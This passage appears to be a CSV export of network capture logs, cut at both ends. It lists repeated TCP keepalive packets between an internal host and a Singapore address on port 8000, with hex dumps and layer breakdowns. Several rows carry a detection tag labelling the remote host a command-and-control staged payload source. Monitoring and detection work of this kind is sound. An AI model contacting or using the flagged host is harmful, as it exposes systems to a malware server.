Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4540004006e3aec0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LE@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19525, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58286, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:34.800639,442,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b06f400080063f8f0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45167, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16271, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:34.800664,443,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4640004006e3adc0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LF@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19526, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58285, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:35.816192,444,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b070400080063f8e0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45168, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16270, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:35.816227,445,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4740004006e3acc0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LG@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19527, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58284, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:36.816822,446,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b071400080063f8d0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45169, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16269, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:36.816850,447,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4840004006e3abc0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LH@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19528, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58283, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:37.832458,448,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b072400080063f8c0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45170, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16268, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:37.832480,449,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4940004006e3aac0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LI@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19529, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58282, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:38.832478,450,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b073400080063f8b0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45171, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16267, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:38.832506,451,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4a40004006e3a9c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LJ@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19530, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58281, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:39.848030,452,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b074400080063f8a0a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45172, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16266, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:39.848050,453,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4b40004006e3a8c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LK@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19531, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58280, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:40.863657,454,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b075400080063f890a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45173, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16265, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:40.863683,455,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4c40004006e3a7c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LL@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19532, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58279, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:41.879307,456,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b076400080063f880a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45174, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16264, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:41.879323,457,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4d40004006e3a6c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LM@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19533, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58278, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:42.895020,458,TCP 10.152.152.11:64084 -> 